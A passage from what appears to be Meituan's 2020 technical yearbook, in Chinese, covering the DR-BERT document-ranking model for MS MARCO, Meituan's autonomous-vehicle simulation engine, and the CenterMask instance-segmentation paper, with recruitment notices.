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Task-adaptive Training and OOV Matching Method）。DR-BERT 是第一个在

官方评测指标 MRR@10 上突破 0.4 的模型，且在 2020 年 5 月 21 日（模型提交

日）-8 月 12 日期间位居榜首，主办方也单独发表推文表示了祝贺，如下图 1 所示。

DR-BERT 模型的核心创新主要包括领域自适应的预训练、两阶段模型精调及两种

OOV（Out of Vocabulary）匹配方法。

图 1　官方祝贺推文及 MARCO 排行榜
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相关介绍

Learning	to	Rank

在信息检索领域，早期就已经存在很多机器学习排序模型（Learning to Rank）用

来解决文档排序问题，包括 LambdaRank[2]、AdaRank[3] 等，这些模型依赖很多

手工构造的特征。而随着深度学习技术在机器学习领域的流行，研究人员提出了很

多神经排序模型，比如 DSSM[4]、KNRM[5] 等。这些模型将问题和文档的表示映射

到连续的向量空间中，然后通过神经网络来计算它们的相似度，从而避免了繁琐的

手工特征构建。

图 2　Pointwise、Pairwise、Listwise 训练的目标

根据学习目标的不同，排序模型大体可以分为 Pointwise、Pairwise 和 Listwise。

这三种方法的示意图如上图 2 所示。其中，Pointwise 方法直接预测每个文档和问题

的相关分数，尽管这种方法很容易实现，然而对于排序来说，更重要的是学到不同文

档之间的排序关系。基于这种思想，Pairwise 方法将排序问题转换为对两两文档的

比较。具体来讲，给定一个问题，每个文档都会和其他的文档两两比较，判断该文档

是否优于其他文档。这样的话，模型就学习到了不同文档之间的相对关系。
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然而，Pairwise 的排序任务存在两个问题：第一，这种方法优化两两文档的比较而非

更多文档的排序，跟文档排序的目标不同；第二，随机从文档中抽取 Pair 容易造成训

练数据偏置的问题。为了弥补这些问题，Listwise 方法将 Pairwsie 的思路加以延伸，

直接学习排序之间的相互关系。根据使用的损失函数形式，研究人员提出了多种不同

的 Listwise 模型。比如，ListNet[6] 直接使用每个文档的 top-1 概率分布作为排序列

表，并使用交叉熵损失来优化。ListMLE[7] 使用最大似然来优化。SoftRank[8] 直接

使用 NDCG 这种排序的度量指标来进行优化。大多数研究表明，相比于 Pointwise

和 Pairwise 方法，Listwise 的学习方式能够产生更好的排序结果。

BERT

自 2018 年谷歌的 BERT[9] 的提出以来，预训练语言模型在自然语言处理领域取得

了很大的成功，在多种 NLP 任务上取得了 SOTA 效果。BERT 本质上是一个基于

Transformer 架构的编码器，其取得成功的关键因素是利用多层 Transoformer 中

的自注意力机制（Self-Attention）提取不同层次的语义特征，具有很强的语义表征

能力。如图 3 所示，BERT 的训练分为两部分，一部分是基于大规模语料上的预训练

（Pre-training），一部分是在特定任务上的微调（Fine-tuning）。

图 3　BERT 的结构和训练模式

在信息检索领域，很多研究人员也开始使用 BERT 来完成排序任务。比如，[10][11] 就

使用 BERT 在 MS MARCO 上进行实验，得到的结果大幅超越了当时最好的神经网
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络排序模型。[10] 使用了 Pointwise 学习方式，而 [11] 使用了 Pairwise 学习方式。这

些工作虽然取得了不错的效果，但是未利用到排序本身的比较信息。基于此，我们结

合 BERT 本身的语义表征能力和 Listwise 排序，取得了很大的进步。

模型介绍

任务描述

基于 DeepCT 候选初筛

由于 MS MARCO 中的数据量很大，直接使用深度神经网络模型做 Query 和所有

文档的相关性计算会消耗大量的时间。因此，大部分的排序模型都会使用两阶段的

排序方法。第一阶段初步筛选出 top-k 的候选文档，然后第二阶段使用深度神经

网络对候选文档进行精排。这里我们使用 BM25 算法来进行第一步的检索，BM25

常用的文档表示方法包括 TF-IDF 等。但是 TF-IDF 不能考虑每个词的上下文语

义。DeepCT[12] 为了改进这种问题，首先使用 BERT 对文档单独进行编码，然后

输出每个单词的重要性程度分数。通过 BERT 强大的语义表征能力，可以很好衡量

单词在文档中的重要性。如下图 4 所示，颜色越深的单词，其重要性越高。其中的

“stomach”在第一个文档中的重要性更高。
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图 4　DeepCT 估单词的重要性，同一个词在不同文档中的重要性不同

DeepCT 的训练目标如下所示：

领域自适应预训练

由于我们的模型是基于 BERT 的，而 BERT 本身的预训练使用的语料和当前的任

务使用的语料并不是同一个领域。我们得出这个结论是基于对两部分语料中 top-

10000 高频词的分析，我们发现 MARCO 的 top-10000 高频词和 BERT 基线使用

的语料有超过 40% 的差异。因此，我们有必要使用当前领域的语料对 BERT 进行预

训练。由于 MS MARCO 属于大规模语料，我们可以直接使用该数据集中的文档内

容对 BERT 进行预训练。我们在第一阶段使用 MLM 和 NSP 预训练目标函数在 MS 

MARCO 上进行预训练。



算法　<　905

两阶段精调

图 5　模型结构

下面介绍我们提出的精调模型，上图 5 展示了我们提出的模型的结构。精调分为两个

阶段：Pointwise 精调和 Listwise 精调。

Pointwise 问题类型感知的精调

第一阶段的精调，我们的目标是通过 Pointwise 的训练方式建立问题和文档的关系。
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我们将 Query-Document 作为输入，使用 BERT 对其编码，匹配问题和文档。考

虑到问题和文档的匹配模式和问题的类型有很大的关系，我们认为在该阶段还需要

考虑问题的类型。因此，我们使用问题，问题类型和文档一起通过 BERT 进行编码，

得到一个深层交互的语义表示。具体的，我们将问题类型 T, 问题 Q 和第 i 个文档 Di

拼接成一个序列输入，如下式所示：

该分数 ri 通过交叉熵损失函数进行优化。通过以上的预训练，模型对不同的问题学

到了不同的匹配模式。该阶段的预训练可以称为类型自适应（Type-Adaptive）模

型精调。

Listwise	精调

为了使得模型直接学习不同排序的比较关系，我们通过 Listwise 的方式对模型进行

精调。具体的，在训练过程中，对于每个问题，我们采样 n+ 个正例以及 n- 个负例

作为输入，这些文档是从候选文档集合 D 中随机产生。注意，由于硬件的限制，我们

不能将所有的候选文档都输入到当前模型中。因此我们选择了随机采样的方式来进行

训练。
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至于为什么使用两个阶段的精调模型，主要出于如下两点考虑：

1. 我们发现首先学习问题和文档的相关性特征然后学习排序的特征，相比直接

学习排序特征效果好。

2. MARCO 是标注不充分的数据集合。换句话说，许多和问题相关的文档未被

标注为 1，这些噪声容易造成模型过拟合。第一阶段的模型用来过滤训练数据

中的噪声，从而可以有更好的数据监督第二阶段的精调模型。

解决 OOV 的错误匹配问题

在 BERT 中， 为 了 减 少 词 表 的 规 模 以 及 解 决 Out-of-vocabulary（OOV）的 问

题，使用了 WordPiece 方法来分词。WordPiece 会把不在词表里的词，即 OOV

词拆分成片段，如图 6 所示，原始的问题中包含词“bogue”，而文档中包含词

“bogus”。在 WordPiece 方法下，将“bogue”切分成”bog”和“##ue”，并且

将“bogus”切分成”bog”和“##us”。我们发现，“bogus”和“bogue”是不相
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关的两个词，但是由于 WordPiece 切分出了匹配的片段“bog”，导致两者的相关性

计算分数比较高。

图 6　BERT WordPiece 处理前 / 后的文本

为了解决这个问题，我们提出了一种是对原始词（WordPiece 切词之前）做精准

匹配的特征。所谓“精确匹配”，指的是某个词在文档和问题中同时出现。精准匹

配是信息检索和机器阅读理解中非常重要的一个技术。根据以往的研究，很多阅读

理解模型加入该特征之后都可以有一定的效果提升。具体的，在 Fine-tuning 阶

段，我们对于每个词构造了一个精准匹配特征，该特征表示该单词是否出现在问

题以及文档中。在编码阶段之前，我们就将这个特征映射到一个向量，和原本的

Embedding 进行组合：
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图 7　词还原机制的工作原理

除此之外，我们还提出了一种词还原机制如图 7 所示，词还原机制能够将 Word-

Piece 切分的 Subtoken 的表示合并，从而能更好地解决 OOV 错误匹配的问题。具

体来说，我们使用 Average Pooling 对 Subtoken 的表示合并作为隐层的输入。除

此之外，如上图 7 所示，我们使用了 MASK 处理 Subtoken 对应的非首位的隐层

位置。值得注意的是，词还原机制也能很好地避免模型的过拟合问题。这是因为

MARCO 的集合标注是比较稀疏的，换句话说，有很多正例未被标注为 1，因此容易

导致模型过拟合这些负样本。词还原机制一定程度上起到了 Dropout 的作用。

总结与展望

以上内容就对我们提出的 DR-BERT 模型进行了详细的介绍。我们提出的 DR-

BERT 模型主要采用了任务自适应预训练以及两阶段模型精调训练。除此之外，还

提出了词还原机制和精确匹配特征提高 OOV 词的匹配效果。通过在大规模数据集

MS MARCO 的实验，充分验证了该模型的优越性，希望这些能对大家有所帮助或

者启发。
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美团无人车引擎在仿真中的实践

作者：杨磊

1. 引言

过去几年，自动驾驶技术有了飞速发展。国内也出现了许多自动驾驶创业企业，这些

公司以百度开源项目 Apollo 为起点，大都可以直接进行公开道路测试，公开道路测

试也成为促进技术进步的主要方法。基础问题得以解决之后，行业面临的更多是长尾

问题，依靠路测驱动自动驾驶能力建设的方式变得不再高效，离线仿真的地位日益凸

显。行业头部企业在仿真的投入十分巨大，Waymo 公司 2019 年公布的仿真里程是

100 亿英里，是路测里程的 1000 倍。

相应地，美团无人车团队在仿真上的投入也在逐渐增大。在仿真平台的建设中，团队

发现公开道路测试和仿真测试看似相似，实际上差异巨大：在车载环境下，为了确保

系统的稳定运行，通常要保证一定资源处于空闲状态；仿真环境则不同，如何高效利

用资源，如何实现压榨资源的同时确保仿真结果与路测结果一致成为了关键目标。在

应对这些挑战的过程中，美团提出了无人车引擎的概念，将车载与离线环境的差异隔

离起来：功能模块无需任何更改便可以满足两种场景的需要。

本文首先会介绍无人车引擎的概念，并以仿真环境面临的挑战为线索介绍美团无人车

引擎的核心设计。

02 无人车引擎

概念

无人车引擎是自动驾驶的基础设施，在机制、工具和计算模型上对功能模块提供支

持，隔离自动驾驶所处环境，使各功能模块专注于自身功能。

在机制层，他为各功能模块提供通信、调度、数据、配置、异常监控等支持。
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在应用层，引擎为各功能模块提供调试、可视化、性能调优、效果评估等工具支持。

在模块层，引擎为各功能模块提供统一的计算模型和运行环境，确保他们在车上环

境、分布式环境、调试环境下的行为一致。

美团无人车引擎的架构图如下：

图 1　无人车引擎布局

如图 1 所示，作为引擎支撑的主要部分，Perception、Localization、Planning 等

是自动驾驶系统中重要的功能模块，它们实现了无人车系统的核心功能。引擎则在机

制和工具，上下两个方向上支撑他们：各功能模块按照引擎的规范开发，直接或者间

接地使用引擎机制层提供的功能并自然而然地获得工具的支持。比如，功能模块只要

使用引擎的通信工具，就能直接获得数据落盘、性能报表调试信息可视化的支持，同

时基于这些路测数据，在仿真环境下，功能模块会自动获得单步调试、效果评估等功

能支持。

自动驾驶引擎面临的挑战

图 1 中所列举的功能是引擎的基础组成部分，引擎所提供的远不止于此，对于多种

环境的支持才是美团无人车团队引入引擎概念的真正原因。前面提到，无人车首先运

行在车载系统中，随着技术和环境的变化，更多地运行于仿真环境下，二者截然不

同。车载环境下，无人车系统的运行环境较好，为了保障各功能模块能够正常运行，
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CPU、GPU、内存等资源要提供一定程度的冗余。而仿真环境的要求完全不同：从

用户的角度看，仿真的用户是工程师，他们期望仿真任务能够在确定时间内完成尽量

多的任务；从集群的角度看，他们希望仿真能够尽量提升资源利用率。接下来的部分

将介绍无人车系统在这两类环境下会面临哪些挑战，以及美团无人车团队如何通过引

擎应对这些挑战。

行为一致性的挑战

早期，美团无人车团队依赖于 ROS 搭建无人车系统，在车载环境下，ROS 的表现

合格。然而在开始仿真建设后，团队遇到很多问题，其中最突出的是“行为一致性问

题”，这个问题具体是指：无人车系统在运行过程中，当出现系统资源的变化，行为

也随之发生变化。比如，当仿真任务在一台机器上运行时，系统产生的结果和这台机

器的状态有关，这台机器被独占地使用或是和其它任务同时运行，结果会有差异。而

且，即使不考虑资源利用率，让仿真任务独占机器资源，同一个任务运行两次，结果

也会有微弱的扰动。

更严重情况发生在离线环境，此情境追求资源利用率的最大化，意味着计算资源的十

分紧张，扰动将变得不再轻微，结果将变得更不可靠，仿真的结果也就失去了价值。

因此，如何在车上和离线两套截然不同的环境下确保结果的一致性，是仿真引擎必须

解决的问题。此问题由以下两个原因造成：一是功能模块时序的不一致；二是功能模

块内部执行的不一致。

时序一致性

为了介绍什么是时序一致性，首先要介绍一下无人车系统中时序的概念。

无人车系统由多个功能模块组成，功能模块之间有数据依赖关系，比如 Perception

依赖于 Lidar、Camera 的数据，Prediction 依赖于 Prediction 的输出。不同模块的触

发条件不同，比如 Planning 是依据时钟触发的而 Prediction 是依赖于 Perception 的

数据触发的。由数据关系和触发条件形成的功能模块的执行顺序就是自动驾驶系统的

时序。在理想情况下，每个模块都能在满足触发条件时立刻执行并在预期的时间内完
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成任务，也就是说，只要保留各模块的输出就可以完全复现线上的问题，离线仿真出

现的问题在路测时也必然出现。

图 2　无人车系统理想时序

然而现实情况远比这复杂，举例来说，当无人车经过拥堵路段时，Perception 需要

处理的数据会显著增多，Planning 也可能因为交通参与者过多导致耗时增长，时序

必然与理想情况不符合。如下图 3 所示，在车载环境下这种行为方式是没问题的，然

而在仿真环境时却会导致严重后果：每一次计算环境的些许变化都有可能导致时序的

变化，进而导致系统行为的差异。

图 3　无人车系统实际时序

这就是时序一致性问题。为了解决这种问题，美团无人车引入了调度器，时序的

一致性由调度器保证。此外，引擎按照不同的应用场景，进一步细化了调度器的

种类。其中最简单的调度器是“在线调度器”，它的目标只有一个：在功能模块处

于 Ready 状态时执行它，车载系统中就是使用的这种调度器，它的行为方式也与



算法　<　915

ROS 类似，不过他会记录下调度时序以备使用。除此之外，引擎还提供一组离线

调度器，以应对不同的使用场景。这里在线和离线的差异根据数据来源判断，如果

数据来自传感器那么就是在线调度器；如果数据来自路测记录那就是离线调度器，

具体分类如下图 4 所示：

图 4　调度器分类

以下是美团无人车引擎提供的调度器种类及他们的使用场景：

 ● 在线调度器：在满足触发条件时立即触发功能模块，通常在车载环境下会使用；

 ● 复现调度器：按照调度器保存的调度信息复现调度时序，在调试时或复现路测

场景时使用；

 ● 理想调度器：按照理想时序调度资源，通常在仿真时使用；

 ● 条件驱动调度器：在条件满足时调度功能模块运行。在这种调度方式下，功能

模块的调度密度介于理想调度器和复现调度器之间，他的实现也相对简单，是

应用最广泛的调度器。

在他们的帮助下，功能模块执行的时序就能得到保障：只要调度器和输入数据不变，

那么无论计算环境如何变化，各功能模块的执行时序总能保持一致。
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功能模块的计算模型

时序一致性除了需要调度保证之外，功能模块的内部计算必须是受到调度器调度的。

功能模块必须在调度器允许时才能开始执行，在结束时调度器能得到通知。如果存在

脱离调度器之外的计算线程，那么系统的一致性必然无法保证。为此，引擎引入了标

准计算模型，任何一个功能模块都有应该遵守这个计算模型，从而获得引擎包括一致

性保障、单步调试支持、信息可视化等功能的支持。

标准计算模型如下：每一个功能模块都有且仅有一个计算过程并以迭代为单位，每一

次调度完成一帧的计算。当然引擎并不控制帧计算内部的细节，帧计算内部的优化由

功能模块负责。

图 5　功能模块的标准模型

标准模型的定义并不一定符合每一个功能模块的实际情况：比如 Localization，它

订阅多类频率不同的传感器数据并以不同的频率输出。在实践中，引擎通过对
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Localization 功能的重新拆分实现了标准化。此外，对于像 Perception 这类计算量

很大、同时兼具异构计算的功能模块来说，多线程，异步 I/O 的机制必须引入，引擎

同时提供了相应的支持确保符合标准模型。

在实践过程中，美团无人车团队花费了相当时间来完成这些改造。改造完成后仿真结

果的权威性得到了加强，更重要的是：系统的行为不再受外部资源（GPU、CPU、内

存等）的影响，这也为离线环境提升资源利用率扫清了障碍。接下来介绍无人车引擎

如何在功能模块完全无感的情况下提升资源利用率。

04 资源利用率问题

前面提到过，车载系统和仿真系统环境差异很大：车载系统为了追求系统的平稳运行

会保证关键资源有一定程度的富裕；对于仿真系统，保留 idle 就是对资源的浪费。在

系统的一致性得到保障之后，资源利用率才能成为引擎的优化目标。优化资源利用率

包含了很多方面，比如数据调度等，由于篇幅所限，这里只介绍与引擎相关的优化工

作。接下来的部分，将根据无人车系统在仿真环境运行时的特点进行优化，他们分别

是资源需求不均、功能模块的重复计算、GPU/CPU 计算不平衡。

数据需求不均匀

从数据的输入规模上讲，各功能模块是极不均衡的：Perception 和 Localization 依

赖于 Lidar 和 Camera 数据，数据使用量占到系统的 85% 以上（按照数据存储的规

模计算，忽略中间数据，具体比例与开启的 Camera 相关，此处给出概数）。从资源

消耗上讲，Perception 和 Prediction 消耗较多的 GPU 计算资源。为了提升云计算

资源的效率，无人车引擎必须支持分布式部署：即一套自动驾驶系统分别部署与多台

机器甚至是跨机房的机器之上的。
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图 6　分布式部署

为了实现分布式部署，引擎参考了计算图模型的概念，采用了类似于 Tensorflow

的设计：将功能模块分成了 Node 和 Module 两个部分。其中 Node 负责定义依

赖关系，而 Module 负责完成计算。对于远程部署的 Module 来说，引擎提供了

ADVContext 和 Node Stub 的概念用于协助 Module 完成运算，对于 Module 而

言，它对于自身处于环境（远程或者本地）一无所知。

基于图 7 的设计，自动驾驶系统有了分布式部署的能力：一套自动驾驶系统可以运行

于一组机器之上。提升离线效率的努力不再局限于单台机器，无人车系统的离线优化
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获得了更多的手段和更广的空间。

重复计算

仿真任务分成多种类型，即有运行单个模块的任务，也有同时执行 Perception、

Prediction、Planning 的任务。对于同时运行多个 Module 的任务，放在集群的角

度看，很多计算都是重复的。试想一个场景：Planning 引入新方法，工程师希望能够

在最新 Perception 版本上的获得新方法的效果评估结果。对于仿真而言，这是一个

经典场景，常用的方法是离线执行 Perception、Prediction 和 Planning 三个模块并

执行 Evaluation 产生报表、评估结果。

图 8　分模块 Evaluation

一般而言，Perception 的结果受到数据和本身算法迭代的影响，当 Planning 的迭

代时，Perception 的结果不会受到影响，它的输出完全可以复用。得益于 Node 和

Module 概念的分离，Perception Node 所绑定的 Module 完全可以是一个非计算单

元，而是一个数据服务 Module。

在美团无人车数据平台和无人车引擎共同努力下，通过 Data Service Module, 这

个常见的仿真任务的流程在工程师感知不到的情况下变成了图 9 这样。不同版本的

Perception 的输出结果被保存下来，Prediction 和 Planning 只要使用之前的结果，

避免了 Perception 的反复计算。
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图 9　数据复用

GPU计算分流

无人车系统是一个同时具备重度 CPU 计算和重度 GPU 计算系统，两部分的计算是

不平衡的。引擎为了提升 GPU 资源的利用效率，在内部集成了模型管理的功能同时

提供了本地和远程两种 Prediction 的机制。再结合分布式部署方式，系统可以完全

部署于 CPU 集群之上，模型相关的计算可以通过 RPC 请求在 Model Serving 上完

成。通过 GPU 和 CPU 计算的隔离，引擎帮助提升了 GPU 和 CPU 计算资源的利

用率。

05 结论

在持续的实践中，美团无人配送团队抽离出一套自动驾驶引擎，为功能模块提供机制

和工具的同时，它还提供了对车载（低时延）和仿真（高吞吐）两套环境的适配。此

外，配合美团的大数据基础设施以及在此基础之上专为无人车建立的数据平台，美团

无人车逐步建立了完善的自动驾驶基础设施。未来，希望在引擎的帮助下能够隔离功

能模块、计算平台、运行环境，使得自动驾驶能力迭代与自动驾驶落地应用两个方向

上的工作能够独立开展，齐头并进，加快美团无人车的落地步伐。
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关于美团无人配送
美团无人车配送中心成立于 2016 年，由美团首席科学家夏华夏博士领导。美团无人车配送围

绕美团外卖、美团跑腿等核心业务，通过与现有复杂配送流程的结合，形成了无人配送整体解

决方案，满足在楼宇、园区、公开道路等不同场景下最后三公里的外卖即时配送需求，提升配

送效率和用户体验，最终实现“用无人配送让服务触达世界每个角落”的愿景。

招聘信息
美团无人车配送中心大量岗位持续招聘中，诚招算法 / 系统 / 硬件开发工程师及专家。欢迎感

兴趣的同学发送简历至：ai.hr@meituan.com（邮件标题注明：美团无人车团队）。



922　>　美团 2020 技术年货

美团无人配送CVPR2020论文CenterMask解读

作者：钰晴　申浩等

计算机视觉技术是实现自动驾驶的重要部分，美团无人配送团队长期在该领域进

行着积极的探索。不久前，高精地图组提出的 CenterMask 图像实例分割算法被

CVPR2020 收录，本文将对该方法进行介绍。

CVPR 的全称是 IEEE Conference on Computer Vision and Pattern Recogni-

tion，IEEE 国际计算机视觉与模式识别会议，它和 ICCV、ECCV 并称为计算机视

觉领域三大顶会。本届 CVPR 大会共收到 6656 篇投稿，接收 1470 篇，录用率为

22%。

背景

one-stage 实例分割的意义

图像的实例分割是计算机视觉中重要且基础的问题之一，其在众多领域具有十分重要

的应用，比如：地图要素提取、自动驾驶车辆感知等。不同于目标检测和语义分割，

实例分割需要对图像中的每个实例（物体）同时进行定位、分类和分割。从这个角度

看，实例分割兼具目标检测和语义分割的特性，因此更具挑战。当前两阶段（two-

stage）目标检测网络（Faster R-CNN[2] 系列）被广泛用于主流的实例分割算法（如

Mask R-CNN[1]）。

2019 年，一阶段（one-stage）无锚点（anchor-free）的目标检测方法迎来了新一

轮的爆发，很多优秀的 one-stage 目标检测网络被提出，如 CenterNet[3], FCOS[4]

等。这一类方法相较于 two-stage 的算法，不依赖预设定的 anchor，直接预测

bounding box 所需的全部信息，如位置、框的大小、类别等，因此具有框架简单

灵活，速度快等优点。于是很自然的便会想到，实例分割任务是否也能够采用这种

one-stage anchor-free 的思路来实现更优的速度和精度的平衡？我们的论文分析
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了该问题中存在的两个难点，并提出 CenterMask 方法予以解决。

图 1　目标检测，语义分割和实例分割的区别

one-stage 实例分割的难点

相较于 one-stage 目标检测，one-stage 的实例分割更为困难。不同于目标检测用

四个角的坐标即可表示物体的 bounding box，实例分割的 mask 的形状和大小都更

为灵活，很难用固定大小的向量来表示。从问题本身出发，one-stage 的实例分割

主要面临两个难点：

 ● 如何区分不同的物体实例，尤其是同一类别下的物体实例。two-stage 的方

法利用感兴趣区域（Region of Interest，简称 ROI）限制了单个物体的范围，

只需要对 ROI 内部的区域进行分割，大大减轻了其他物体的干扰。而 one-

stage 的方法需要直接对图像中的所有物体进行分割。

 ● 如何保留像素级的位置信息，这是 two-stage 和 one-stage 的实例分割面临

的普遍问题。分割本质上是像素级的任务，物体边缘像素的分割精细程度对最

终的效果有较大影响。而现有的实例分割方法大多将固定大小的特征转换到原

始物体的大小，或者利用固定个数的点对轮廓进行描述，这些方式都无法较好

的保留原始图像的空间信息。

相关工作介绍

遵照目标检测的设定，现有的实例分割方法可大致分为两类：二阶段（two-stage) 实

例分割方法和一阶段 (one-stage) 实例分割方法。
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 ● two-stage 的实例分割遵循先检测后分割的流程，首先对全图进行目标检测得

到 bounding box，然后对 bounding box 内部的区域进行分割，得到每个物

体的 mask。two-stage 的方法的主要代表是 Mask R-CNN[1]，该方法在

Faster R-CNN[2] 的网络上增加了一个 mask 分割的分支，用于对每个感兴

趣区域（Region of Interest，简称 ROI）进行分割。而把不同大小的 ROI 映

射为同样尺度的 mask 会带来位置精度的损失，因此该方法引入了 RoIAlign

来恢复一定程度的位置信息。PANet[5] 通过增强信息在网络中的传播来对

Mask R-CNN 网络进行改进。Mask Scoring R-CNN[6] 通过引入对 mask

进行打分的模块来改善分割后 mask 的质量。上述 two-stage 的方法可以取

得 SOTA 的效果，但是方法较为复杂且耗时，因此人们也开始积极探索更简

单快速的 one-stage 实例分割算法。

 ● 现有的 one-stage 实例分割算法可以大致分为两类：基于全局图像的方法和

基于局部图像的方法。基于全局的方法首先生成全局的特征图，然后利用一些

操作对特征进行组合来得到每个实例的最终 mask。比如，InstanceFCN[7]

首先利用全卷积网络[8]（FCN）得到包含物体实例相对位置信息的特征图（in-

stance-sensitive score maps），然后利用 assembling module 来输出不同

物体的分割结果。YOLACT[9] 首先生成全局图像的多张 prototype masks，

然后利用针对每个实例生成的 mask coefficients 对 prototype masks 进行

组合，作为每个实例的分割结果。基于全局图像的方法能够较好的保留物体

的位置信息，实现像素级的特征对齐（pixel-to-pixel alignment)，但是当不

同物体之间存在相互遮挡（overlap) 时表现较差。与此相对应的，基于局部区

域的方法直接基于局部的信息输出实例的分割结果。PolarMask[10] 采用轮

廓表示不同的实例，通过从物体的中心点发出的射线组成的多边形来描述物体

的轮廓，但是含有固定端点个数的多边形不能精准的描述物体的边缘，并且

基于轮廓的方法无法很好的表示含有孔洞的物体。TensorMask[11] 利用 4D 

tensor 来表示空间中不同物体的 mask, 并且引入了 aligned representation 

和 tensor bipyramid 来较好的恢复物体的空间位置细节，但是这些特征对齐

的操作使得整个网络比 two-stage 的 Mask R-CNN 还要慢一些。
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不同于上述方法，我们提出的 CenterMask 网络，同时包含一个全局显著图生成分

支和一个局部形状预测分支，能够在实现像素级特征对齐的情况下实现不同物体实例

的区分。

CenterMask 介绍

本工作旨在提出一个 one-stage 的图像实例分割算法，不依赖预先设定的 ROI 区域

来进行 mask 的预测，这需要模型同时进行图像中物体的定位、分类和分割。为了实

现该任务，我们将实例分割拆分为两个平行的子任务，然后将两个子任务得到的结果

进行结合，以得到每个实例的最终分割结果。

第一个分支（即 Local Shape 分支）从物体的中心点表示中获取粗糙的形状信息，用

于约束不同物体的位置区域以自然地将不同的实例进行区分。第二个分支（即 Global 

Saliency 分支）对整张图像预测全局的显著图，用于保留准确的位置信息，实现精

准的分割。最终，粗糙但 instance-aware 的 local shape 和精细但 instance-un-

aware 的 global saliency 进行组合，以得到每个物体的分割结果。

1.	网络整体框架

图 2　CenterMask 网络结构图
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CenterMask 整体网络结构图如图 2 所示，给定一张输入图像，经过 backbone 网

络提取特征之后，网络输出五个平行的分支。其中 Heatmap 和 Offset 分支用于

预测所有中心点的位置坐标，坐标的获得遵循关键点预测的一般流程。Shape 和

Size 分 支 用 于 预 测 中 心 点 处 的 Local Shape，Saliency 分 支 用 于 预 测 Global 

Saliency Map。可以看到，预测的 Local Shape 含有粗糙但是 instance-aware

的形状信息，而 Global Saliency 含有精细但是 instance-aware 的显著性信息。

最终，每个位置点处得到的 Local Shape 和对应位置处的 Global Saliency 进行

乘积，以得到最终每个实例的分割结果。Local Shape 和 Global Saliency 分支的

细节将在下文介绍。

2.	Local	Shape	预测

为了区分位于不同位置的实例，我们采用每个实例的中心点来对其 mask 进行建模，

中心点的定义是该物体的 bounding box 的中心。一种直观的想法是直接采用物体

中心点处提取的图像特征来进行表示，但是固定大小的图像特征难以表示不同大小

的物体。因此，我们将物体 mask 的表示拆分为两部分：mask 的形状和 mask 的大

小，用固定大小的图像特征表示 mask 的形状，用二维向量表示 mask 的大小（高

和宽）。以上两个信息都同时可以由物体中心点的表示得到。如图 3 所示，P 表示由

backbone 网络提取的图像特征，shape 和 size 表示预测以上两个信息的分支。用

Fshape( 大小为 H x W x S x S）表示 shape 分支得到的特征图，Fsize( 大小为

H x W x 2) 表示 size 分支得到的特征图。假设某个物体的中心点位置为 (x,y)，则

该点的 shape 特征为 Fshape(x,y)，大小为 1 x 1 x S x S，将其 reshape 成 S x 

S 大小的二维平面矩阵；该点的 size 特征为 Fsize(x,y)，用 h 和 w 表示预测的高

度和宽度大小，将上述二维平面矩阵 resize 到 h x w 的大小，即得到了该物体的

LocalShape 表示。
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图 3　Local Shape 预测分支

3.	Global	Saliency	生成

尽管上述 Local Shape 表示可以生成每个实例的 mask，但是由于该 mask 是由固

定大小的特征 resize 得到，因此只能描述粗糙的形状信息，不能较好的保留空间位

置（尤其是物体边缘处）的细节。如何从固定大小的特征中得到精细的空间位置信息

是实例分割面临的普遍问题，不同于其他采用复杂的特征对齐操作来应对此问题的

思路，我们采用了更为简单快速的方法。启发于语义分割领域直接对全图进行精细

分割的思路，我们提出预测一张全局大小的显著图来实现特征的对齐。平行于 Local 

Shape 分支，Global Saliency 分支在 backbone 网络之后预测一张全局的特征图，

该特征图用于表示图像中的每个像素是属于前景（物体区域）还是背景区域。
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实验结果

1.	可视化结果

图 4　CenterMask 网络不同设定下的分割结果

为了验证本文提出的 Local Shape 和 Global Saliency 两个分支的效果，我们对独

立的分支进行了分割结果的可视化，如图 4 所示。其中 (a) 表示只有 Local Shape

分支网络的输出结果，可以看到，虽然预测的 mask 比较粗糙，但是该分支可以较

好的区分出不同的物体。(b) 表示只有 Global Saliency 分支网络输出的结果，可以

看到，在物体之间不存在遮挡的情形下，仅用 Saliency 分支便可实现物体精细的分

割。© 表示在复杂场景下 CenterMask 的表现，从左到右分别为只有 Local Shape

分支，只有 Global Saliency 分支和二者同时存在时 CenterMask 的分割效果。可

以看到，在物体之间存在遮挡时，仅靠 Saliency 分支无法较好的分割，而 Shape 和

Saliency 分支的结合可以同时在精细分割的同时实现不同实例之间的区分。
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2.	方法对比

图 5　CenterMask 与其他方法在 COCO test-dev 数据集上的对比

CenterMask 与其他方法在 COCO test-dev 数据集上的精度 (AP) 和速度 (FPS)

对 比 见 图 5。 其 中 有 两 个 模 型 在 精 度 上 优 于 我 们 的 方 法：two-stage 的 Mask 

R-CNN 和 one-stage 的 TensorMask，但是他们的速度分别大约 4fps 和 8fps 慢

于我们的方法。除此之外，我们的方法在速度和精度上都优于其他的 one-stage 实

例分割算法，实现了在速度和精度上的均衡。CenterMask 和其他方法的可视化效果

对比见图 6。

图 6　CenterMask 与其他方法在 COCO 数据集上的可视化对比
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除此之外，我们还将提出的 Local Shape 和 Global Saliency 分支迁移至了主流

的 one-stage 目标检测网络 FCOS，最终的实验效果见图 7。最好的模型可以实现

38.5 的精度，证明了本方法较好的适用性。

图 7　CenterMask-FCOS 在 COCO test-dev 数据集上的性能

未来展望

首先，CenterMask 方法作为我们在 one-stage 实例分割领域的初步尝试，取得了

较好的速度和精度的均衡，但是本质上仍未能完全脱离目标检测的影响，未来希望能

够探索出不依赖 box crop 的方法，简化整个流程。其次，由于 CenterMask 预测

Global Saliency 的思想启发自语义分割的思路，而全景分割是同时融合了实例分割

和语义分割的任务，未来希望我们的方法在全景分割领域也能有更好的应用，也希望

后续有更多同时结合语义分割和实例分割思想的工作被提出。

更 多 细 节 见 论 文：CenterMask: single shot instance segmentation with point 

representation

招聘信息

美团无人车配送中心大量岗位持续招聘中，诚招感知 / 高精地图 / 决策规划 / 预测

算法专家、无人车系统开发工程师 / 专家。无人车配送中心主要是借助无人驾驶技

术，依靠视觉、激光等传感器，实时感知周围环境，通过高精定位和智能决策规划，

保证无人配送机器人具有全场景的实时配送能力。欢迎感兴趣的同学发送简历至：

https://arxiv.org/abs/2004.04446
https://arxiv.org/abs/2004.04446
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hr.mad@meituan.com（邮件标题注明：美团无人车团队）
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WSDM	Cup	2020 检索排序评测任务第一名经
验总结

作者：帅朋

1. 背景

第 13 届“国际网络搜索与数据挖掘会议”(WSDM 2020) 于 2 月 3 日在美国休斯敦

召开，该会议由 SIGIR、SIGKDD、SIGMOD 和 SIGWEB 四个专委会共同协调

筹办，在互联网搜索、数据挖掘领域享有很高学术声誉。本届会议论文录用率仅约

